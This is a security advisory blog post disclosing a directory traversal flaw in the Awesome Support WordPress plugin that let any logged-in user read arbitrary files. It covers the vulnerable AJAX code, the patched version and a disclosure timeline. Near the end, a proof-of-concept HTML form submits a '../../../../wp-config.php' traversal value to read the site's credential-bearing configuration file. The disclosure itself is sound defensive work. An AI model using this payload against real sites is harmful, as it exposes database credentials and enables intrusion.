23 Oct 2017

Authenticated Arbitrary File Viewing Vulnerability in Awesome Support

There is what seems like a nearly endless supply of advice on security for WordPress websites. A lot of it comes from people that shouldn’t be providing it (that includes much of what comes from security companies). We recently wrote a post about some bad security advice coming from the company behind the Awesome Support plugin on choosing plugins and we were curious to see how secure their plugin was. It took only seconds to find that plugin was failing to do some security basics, which lead to a couple of serious issues (we didn’t do anywhere near a full review, so there may be other issues).

This plugin introduces increased security risk to a WordPress installation because it allows anyone to create a WordPress account. What we and others have found is many times plugins do not properly restrict functionality to only higher level users, so if untrusted individuals are able to create an account, it can allow attackers the access to exploit vulnerabilities they otherwise couldn’t. The problem here is not allowing untrusted users to have accounts, but the improperly secured plugins, but allowing that does increase security risk. The most popular source of those vulnerabilities is with functions that are accessible through WordPress’ AJAX functionality.

In sign of how badly that issue is being handled, this plugin wasn’t properly securing AJAX accessible functions despite the developer being aware that the plugin could be used in an environment where untrusted individuals would have an account. When we contacted the company behind the plugin, part of the response we got was that the developers of the plugin didn’t understand how AJAX functionality could be accessed without having access to the related UI, which is a bit troubling

This plugin makes the function wpas_tools_log_viewer_view() accessible through WordPress’ AJAX functionality (in the file /includes/admin/functions-log-viewer.php):

55
add_action( 'wp_ajax_wpas_tools_log_viewer_view', 'wpas_tools_log_viewer_view', 10, 0 );

That function didn’t check to see if a user has a particular capability, which would limit who can access it:

38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
function wpas_tools_log_viewer_view() {
 
	if( ! isset( $_POST[ 'file' ] ) ) {
		wp_send_json_error( array( 'error' => esc_html__( 'No file given', 'awesome-support' ) ) );
	}
 
	// Default number of lines to return
	$lines = 100;
 
	// Get posted number of lines
	if( isset( $_POST[ 'lines' ] ) ) {
		$lines = $_POST[ 'lines' ];
	}
 
	wp_send_json_success( wpas_log_viewer_read_last_lines( $_POST[ 'file' ], $lines ) );
 
}

The code in the function will pass along a file to be viewed along with how many lines of the files to view to the function wpas_log_viewer_read_last_lines().

If the numbers of lines specified is “ALL” then the function wpas_log_viewer_read_full_file() is then called:

130
131
132
133
function wpas_log_viewer_read_last_lines( $file, $lines ) {
 
	if( 'All' === $lines ) {
		return wpas_log_viewer_read_full_file( $file );

When that function determines the file to read the contents of, there was no restriction on directory traversal, which allows moving outside of a specified directory:

197
198
199
200
201
202
203
204
205
206
207
function wpas_log_viewer_read_full_file( $file ) {
 
	$file_path = get_logs_path() . $file;
 
	$handle = @fopen( $file_path, 'r' );
	$result = [];
	if( ! empty( $handle ) ) {
		while ( ! feof( $handle ) ) {
			$line     = fgets( $handle );
			$result[] = $line;
		}

So the contents of any file can be viewed.

After we notified the company behind this of the issue, version 4.3.2 was released, which fixes the issue by checking if the request to access the function is coming from an Administrator:

38
39
40
41
42
function wpas_tools_log_viewer_view() {
 
	if ( ! current_user_can( 'administrator' ) ) {
		wp_send_json_error( array( 'error' => esc_html__( 'Not found', 'awesome-support' ) ) );
	}

And using the basename() function to remove directory traversal from the filename of the file to be viewed:

52
$file  = basename( $_POST[ 'file' ] );

Proof of Concept

The following proof of concept will display the contents of the WordPress configuration file, wp-config.php, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wpas_tools_log_viewer_view" />
<input type="hidden" name="file" value="../../../../wp-config.php" />
<input type="hidden" name="lines" value="All" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • October 17, 2017 – Developer notified.
  • October 17, 2017 – Developer responds.
  • October 22, 2017 – Version 4.3.2 released, which fixes vulnerability.

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.